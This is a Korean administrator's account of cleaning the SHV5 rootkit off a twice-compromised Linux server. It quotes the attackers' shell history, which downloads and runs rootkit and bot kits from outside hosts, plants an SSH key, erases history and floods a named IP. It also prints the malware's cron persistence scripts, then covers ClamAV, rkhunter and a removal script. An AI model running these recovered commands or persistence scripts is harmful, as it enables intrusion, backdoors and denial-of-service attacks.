2차례에 걸친 리눅스 서버에 해킹에의한 바이러스 감염으로 개고생 수기... ====== [증상 감지] ====== 갑자기 서버가 늦어져서 top 을 통해 본 결과 이상한 프로세스가 cpu 사용을 99% 하고 있었다. 해당 프로세스 id를 이용하여 확인해 보면 다음과 같은 것들을 보인다. [root@localhost ~]# lsof -p 32656 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME qmscprzst 32656 root cwd DIR 253,0 4096 33947649 /bin qmscprzst 32656 root rtd DIR 253,0 4096 2 / qmscprzst 32656 root txt REG 253,0 617640 9538775 /usr/bin/qmscprzstp qmscprzst 32656 root 0u CHR 1,3 0t0 2946 /dev/null qmscprzst 32656 root 1u CHR 1,3 0t0 2946 /dev/null qmscprzst 32656 root 2u CHR 1,3 0t0 2946 /dev/null qmscprzst 32656 root 3u IPv4 3249369 0t0 TCP localhost.localdomain:39645->162.212.180.202:ka0wuc (ESTABLISHED) qmscprzst 32656 root 4u raw 0t0 3250035 00000000:00FF->00000000:0000 st=07 qmscprzst 32656 root 5u raw 0t0 3250036 00000000:00FF->00000000:0000 st=07 qmscprzst 32656 root 6u raw 0t0 3250037 00000000:00FF->00000000:0000 st=07 qmscprzst 32656 root 7u raw 0t0 3250038 00000000:00FF->00000000:0000 st=07 * 중간에 보면 우리측 서버가 "162.212.180.202" 에서 접속해 있는것이 확인된다. (뭔가 열~씨미 도와주고 있는듯 ㅠ.ㅠ) * 저 IP는 프로세스를 kill 하게 되면 다른 프로세스로 살아나면서 다른 IP로 변경하여 접속하게 된다. * 나의 경우는 오라클이 설치되어 있었기때문에 위에서는 안보이지만 오라클 프로세스도 관련이 있는 것으로 나타난다. * 저기 보이는 IP는 추적을 해보면 추적이 안되는 경우도 나온다. 이상한 프로세스의 파일 위치는 /boot 또는 /usr/bin 경로에 위치하게 된다.(특별히 정해지지 않는 듯) $ ls -alt /usr/bin/ -rwxr-xr-x 1 root root 625622 1i?” 30 11:27 nbrumptxge -rwxr-xr-x 1 root root 617640 1i?” 30 11:27 ywkhxomzss lrwxrwxrwx 1 root root 13 1i?” 30 10:39 cut -> ../../bin/cut lrwxrwxrwx 1 root root 13 1i?” 30 10:39 env -> ../../bin/env lrwxrwxrwx 1 root root 6 1i?” 30 10:39 pstree.x11 -> pstree -rwxr-xr-x 1 root root 617651 1i?” 29 21:03 ttqncgxhbc -rwxr-xr-x 1 root root 617640 1i?” 29 20:36 qmscprzstp 내부 의심이 가는 사용자의 .bash_history 파일을 열어보면 다음과 같은 내용들이 포함되어있다...ㅠ.ㅠ w ps x php -v cat /etc/hosts ls -a cat /proc/cpuinfo w cat /etc/issue w wget kukubau.webs.com/shv5.tar.gz ; tar zxvf shv5.tar.gz ; cd shv5 ; ./setup H6f5kkl0 5022 ssh localhost w 오라클 사용자측에도 보면 다음과 같다. 이걸 보면 한마디로 시스템이 걸레가 된것 같은 느낌이다. w uname -a ps aux locate m.set wget x1.epac.to/.x/bil tar xzvf bil cd .z ./run ./autorun cd .. lss -a ls -a rm -rf bil last passwd passwd mkdir .ssh cd .ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIB8NTwrTVNx8KZwzNj067GiIfz8Vc2DgqvmEatkwH1hjiM/jdrq2VFEAJI75AIdarHo1jVL7ZcpsmiIJQ3Pi+P0JdAXARK8PJEZyRQJLJusucbJeU9FI4drnPceKKthaSjVl/9bWa6ckmrYaFIfnNZtAH9CAWn6TCGb5lDfKdgC5Q== awsnext" >> authorized_keys chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys chmod +x * cd rm -rf .bash* wget x.toh.info/.x/flood/flood.tgz tar xzvf flood.tgz cd flod/ ls chmod +x * ./udp 141.30.37.135 ./ddos 141.30.37.135 22 ./icm2 141.30.37.135 ./icm2 141.30.37.135 22 ls ./juno6 141.30.37.135 ./juno6 141.30.37.135 22 ./85 141.30.37.135 ./85 141.30.37.135 22 ./85 141.30.37.135 2222 ./tcpsyn 141.30.37.135 ./tcpsyn 141.30.37.135 80 sqlplus pwd ls cd product/ cd 11.2.0/ cd bin ls ./sqlplus system/xxx id ifconfig exit Bad file list [root@ ??]# ls -al 합계 1616 drwxr-xr-x 3 oracle dba 4096 2월 6 11:24 . drwxr-x--- 29 root root 4096 2월 5 16:55 .. -rwxr-xr-x 1 oracle dba 270 1월 30 13:23 1.user -rw-r--r-- 1 oracle dba 955701 9월 25 2013 Cimmer.seen -rw-r--r-- 1 oracle dba 0 1월 30 13:23 Enid.seen -rwxr-xr-x 1 oracle dba 34 1월 29 21:08 LinkEvents -rwxr-xr-x 1 oracle dba 323 10월 13 2001 autorun -rwxr-xr-x 1 oracle dba 492135 3월 3 2005 bash -rw-r--r-- 1 oracle dba 91385 2월 20 2013 br2.seen -rwxr-xr-x 1 oracle dba 67 3월 31 2005 cron -rw-r--r-- 1 oracle dba 47 12월 14 2012 cron.d -rw-r--r-- 1 oracle dba 11 12월 14 2012 m.dir -rwxr-xr-x 1 oracle dba 22882 5월 15 2003 m.help -rwxr-xr-x 1 oracle dba 1043 1월 30 13:23 m.lev -rw------- 1 oracle dba 5 1월 29 21:08 m.pid -rw-r--r-- 1 oracle dba 967 1월 30 13:23 m.ses -rwxr-xr-x 1 oracle dba 1155 11월 24 2012 m.set drwxr-xr-x 2 oracle dba 4096 2월 6 11:23 r -rwxr-xr-x 1 oracle dba 44 10월 13 2001 run -rw-r--r-- 1 oracle dba 45 7월 16 2010 shel -rwxr--r-- 1 oracle dba 160 12월 14 2012 y2kupdate File Name : m.set #!/bin/sh if test -r /oracle/.z/m.pid; then pid=$(cat /oracle/.z/m.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi cd /oracle/.z ./run &>/dev/null File Name : run #!/bin/sh export PATH=:PATH bash history -c File Name : autorun #!/bin/sh pwd > m.dir dir=$(cat m.dir) echo "* * * * * $dir/y2kupdate >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep y2kupdate echo "#!/bin/sh if test -r $dir/m.pid; then pid=\$(cat $dir/m.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > y2kupdate chmod u+x y2kupdate File Name : y2kupdate #!/bin/sh if test -r /oracle/.z/m.pid; then pid=$(cat /oracle/.z/m.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi cd /oracle/.z ./run &>/dev/null File Name : cron.d * * * * * /oracle/.z/y2kupdate >/dev/null 2>&1 이 히스토리를 참조해서 해당 경로를 가서 확인해 보면 다음과 같은 파일들이 실제 존재한다. -bash-3.2$ cd flod -bash-3.2$ ls -al ?⑷퀎 760 drwxr-xr-x 2 oracle dba 4096 12??18 2012 . drwxr-xr-x 13 oracle dba 4096 2?? 2 13:42 .. -rwxr-xr-x 1 oracle dba 9315 12??15 2012 85 -rwxr-xr-x 1 oracle dba 8666 12??15 2012 88udp -rwxr-xr-x 1 oracle dba 50123 12??15 2012 cip.cip -rwxr-xr-x 1 oracle dba 9416 12??15 2012 cloud -rwxr-xr-x 1 oracle dba 9237 12??15 2012 ddos -rwxr-xr-x 1 oracle dba 15442 12??15 2012 dos_techck3 -rwxr-xr-x 1 oracle dba 9213 12??15 2012 fuck -rwxr-xr-x 1 oracle dba 11264 12??15 2012 icm2 -rwxr-xr-x 1 oracle dba 8703 12??15 2012 juno -rwxr-xr-x 1 oracle dba 9216 12??15 2012 juno130 -rwxr-xr-x 1 oracle dba 9216 12??15 2012 juno150 -rwxr-xr-x 1 oracle dba 8621 12??15 2012 juno6 -rwxr-xr-x 1 oracle dba 9215 12??15 2012 juno95 -rwxr-xr-x 1 oracle dba 483340 12??15 2012 list.txt -rwxr-xr-x 1 oracle dba 8947 12??15 2012 new -rwxr-xr-x 1 oracle dba 9213 12??15 2012 syn -rwxr-xr-x 1 oracle dba 8886 12??15 2012 tcpsyn -rwxr-xr-x 1 oracle dba 8666 12??15 2012 udp -rwxr-xr-x 1 oracle dba 7830 12??15 2012 udpiLLuSioN2 -rwxr-xr-x 1 oracle dba 8800 12??15 2012 volverin2 기타 /usr/lib/ 경로아래에 다양한 .so .h 파일들이 만들어져 있는것을 확인할 수 있다. ====== [개고생(삽질) 일지] ====== * 우선 99%를 차지하는 프로세스를 kill 했으나 또 다시 다른 형태로 살아남 (갑자기 심각해짐...) * find 명령으로 해당 프로세스이름을 찾아보니 /boot 경로에 위치해 있음 (이건 처음에는 이랬는데 나중에는 /usr/bin 에 위치해 있는 것으로 봐서는 일정치 않음) * 해당 프로그램을 삭제했으나 다른 프로그램으로 복제되어 다시 생성됨 (머리 아파지기 시작함) * 해당 프로그램을 삭제해도 다시 살아나는 것을 보면 cron 에 뭔가 등록되어 있을것 같아서 "vi /etc/crontab" 을 확인해 보니 내가 지정하지 않은 프로세스가 마지막에 돌고 있는것이 확인된다. 그래서 해당 항목을 crontab 에서 삭제했는데 잠시후에 다시 생겨남 (짜증이 올라옴) * 이리저리 다양한 방법으로 프로세스를 삭제해 봤으나 절대 죽지 않음 더구나 죽일 때 마다 복제되어서 /etc/init.d 와 rc.d 의 각 레벨별로 자동실행 스크립트가 생성됨 * 더 이상 이런식의 처리는 한계가 있음을 깨달음. ==== [조치 순서] ==== - 바이러스 감지를 위한 프로그램 설치 - 바이러스 종류 확인 및 감지된 파일 대략 확인 - Rescue 모드로 부팅하여 바이러스 파일 삭제 첫 번째로 바이러스 감지툴인 clamAV 를 yum 으로 설치하여 점검해보니 몇가지 파일들이(netstat, ps 등등) 변경되어 있는것 확인됨 이건 감지만 할 뿐 조치는 없는 감지하는것도 상당히 효율이 떨지진다. 두 번째로 rkhunter 를 설치하여 바이러스 다시 확인해 보니 clamAV에서 찾지 못한 다양한 형태의 경고가 등장함 세 번째로 chkrootkit 을 설치하여 확인해 봄. [결론] 나의 경우 rootkit 바이러스가 감염이 되었고, 바이러스를 감지하는 것은 rkhunter 가 가장 뛰어남. ==== [조치 내역] ==== * ClamAV 설치 4.1 ClamAV 설치 [root@egovWas2 ~]# yum install clamav clamd 4.2 ClamAV 바이러서 데이터베이스 업데이트 [root@egovWas2 ~]# freshclam 4.3 검사 - home 디렉토리와 그 하위 디렉토리를 검사 [root@egovWas2 ~]# clamscan -r /home - clamscan 결과를 로그 파일로 남기고 싶으면 [root@egovWas2 ~]# clamscan -r /home -l clamscan.log [root@egovWas2 ~]# 감염된 파일을 특정 디렉토리로 이동하려면 [root@egovWas2 ~]# clamscan -r /home --move=DIRECTORY * RootKit Hunter 설치 및 매일 실행하는 cron 등록 5.1 rkhunter 설치 [root@egovWas2 ~]# yum list | grep rkhunter [root@egovWas2 ~]# yum install rkhunter 5.2 Update rkhunter To check the currently installed version enter the following [root@egovWas2 ~]# /usr/local/bin/rkhunter --versioncheck Run the updater by issuing the following command: [root@egovWas2 ~]# /usr/local/bin/rkhunter --update With our database files refreshed, we need to tell rkhunter to check the current values and store them as known-good values: [root@egovWas2 ~]# /usr/local/bin/rkhunter --propupd 5.3 Manual Scan Step 1] 시작하기 전에 rkhunter 가 사용할 DB를 생성 [root@egovWas2 ~]# rkhunter --propupd Step 2] 실행명령어 [root@egovWas2 ~]# rkhunter --check 또는 [root@egovWas2 ~]# rkhunter -c --rwo // warning메세지,비정상적인 결과만 출력 5.4 Automate Rootkit Hunter [root@egovWas2 ~]# touch /etc/cron.daily/rkhunter.sh [root@egovWas2 ~]# chmod 755 /etc/cron.daily/rkhunter.sh [root@egovWas2 ~]# vi /etc/cron.daily/rkhunter.sh #!/bin/sh ( /usr/local/bin/rkhunter --versioncheck /usr/local/bin/rkhunter --update /usr/local/bin/rkhunter --cronjob --report-warnings-only ) | /bin/mail -s 'rkhunter Daily Scan Report (PutYourServerNameHere)' your@email.here rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다. 이건 lsattr 명령과 chattr 명령을 이용하면 쉽게 해결이 된다. (아래 쉘파일을 참조하면 됨) 처음엔 아래 쉘파일의 내용처럼 감염된 파일의 속성을 변경해서 삭제하고 yum 으로 파일을 다시 설치하는 것으로 간단하게 끝났는데 몇일후에 다시 감염되었을 때는 해당파일 속성등의 변경이 없이 바이러스 프로세스가 죽지 않았다. ==== [반드시 이렇게 하세요] ==== * 리눅스를 cd로 부팅하여 rescue 모드로 진입한다. 이렇게 하면 원래 파일들은 /mnt/sysimages 경로에 마운트 된다. * /mnt/sysimages 경로에서 감염된 파일들을 모두 삭제하고 설치가 필요한 것들은 다시 설치해 준다. 해당 파일들을 개별로 속성를 변경해주다가 몇가지 파일을 비교해 찾던중 아래의 쉘파일을 찾게됨... 다음 쉘을 그냥 돌리던지 개별로 작업하든하면 해결됨. (나는 개별로 실행했음) 이상 개고생 끝. 추신: 몇가지 .h 파일등도 변경된 내용이 있고 init.d 및 rc?.d 경로아래에 수없이 많은 사항들이 있느니 찾아서 삭제해줘야 함 출처: http://www.evilcoder.net/remove-linux-shv5-rootkit/ #!/bin/bash echo "SHV Rootkit checker by alex [at] evilcoder.net" if [ $# -ne 1 ] then echo "This is a SHV5 rootkit remover" echo "This script is released as it is and i can't be held responsable for any damages" echo "This script has been tested on Debian , Ubuntu and CentOS servers " echo "You must agree with that" echo "Usage : $0 yes" exit 1 fi if [ "$1" != "yes" ]; then echo "You should agree" exit 1 elif [ "$1" == "yes" ]; then echo "Thanks" fi #checking Linux type OS=`cat /etc/issue|cut -d " " -f 1 | head -1` if [ -d "/usr/lib/libsh" ]; then echo "We have SHV rootkit" else echo "You don't have shv5 installed" exit 1 fi echo "System Check" if [ "$OS" == "Debian" ]; then echo "We have Debian" echo "Removing immutable from infected files" chattr -sia /bin/dir chattr -sia /usr/bin/find chattr -sia /sbin/ifconfig chattr -sia /bin/ls chattr -sia /usr/bin/lsof chattr -sia /usr/bin/md5sum chattr -sia /bin/netstat chattr -sia /bin/ps chattr -sia /usr/bin/pstree chattr -sia /usr/bin/top chattr -sia /lib/libsh.so chattr -sia /usr/lib/libsh chattr -sia /usr/lib/libsh/* chattr -sia /etc/sh.conf chattr -sia /sbin/ttymon chattr -sia /sbin/ttyload echo "Deleting rootkit folders" rm -rf /lib/libsh.so rm -rf /usr/lib/libsh/ rm -rf /etc/sh.conf rm -rf /sbin/ttyload rm -rf /sbin/ttymon echo "Reinstall new files" apt-get update >>/dev/null apt-get -y install --reinstall coreutils binutils net-tools psmisc lsof procps findutils >>/dev/null echo "Killing Rootkit" killall -9 ttymon echo "You should reboot to finish cleaning" elif [ "$OS" == "Ubuntu" ];then echo "We have Ubuntu" echo "Removing immutable from Ubuntu known infected files" chattr -sia /bin/dir chattr -sia /usr/bin/find chattr -sia /sbin/ifconfig chattr -sia /bin/ls chattr -sia /usr/bin/lsof chattr -sia /usr/bin/md5sum chattr -sia /bin/netstat chattr -sia /bin/ps chattr -sia /usr/bin/pstree chattr -sia /usr/bin/top chattr -sia /lib/libsh.so chattr -sia /usr/lib/libsh chattr -sia /usr/lib/libsh/* chattr -sia /etc/sh.conf chattr -sia /sbin/ttymon chattr -sia /sbin/ttyload echo "Deleting rootkit folders" rm -rf /lib/libsh.so rm -rf /usr/lib/libsh/ rm -rf /etc/sh.conf rm -rf /sbin/ttyload rm -rf /sbin/ttymon echo "Reinstall new files" apt-get update >>/dev/null apt-get -y install --reinstall coreutils binutils net-tools psmisc lsof procps findutils >>/dev/null echo "Killing Rootkit" killall -9 ttymon echo "You should reboot to finish cleaning" elif [ "$OS" == "CentOS" ];then echo "We got CentOS" echo "Removing immutable flag from CentOS known infected files" chattr -sia /usr/bin/dir chattr -sia /usr/bin/find chattr -sia /sbin/ifconfig chattr -sia /bin/ls chattr -sia /usr/sbin/lsof chattr -sia /usr/bin/md5sum chattr -sia /bin/netstat chattr -sia /bin/ps chattr -sia /usr/bin/pstree chattr -sia /usr/bin/top chattr -sia /lib/libsh.so chattr -sia /usr/lib/libsh chattr -sia /usr/lib/libsh/* chattr -sia /etc/sh.conf chattr -sia /sbin/ttymon chattr -sia /sbin/ttyload echo "Deleting rootkit folders" rm -rf /lib/libsh.so rm -rf /usr/lib/libsh/ rm -rf /etc/sh.conf rm -rf /sbin/ttyload rm -rf /sbin/ttymon echo "Reinstall new files" yum -y reinstall coreutils binutils net-tools psmisc lsof procps findutils >>/dev/null echo "Killing Rootkit" killall -9 ttymon echo "You should reboot to finish cleaning" fi fi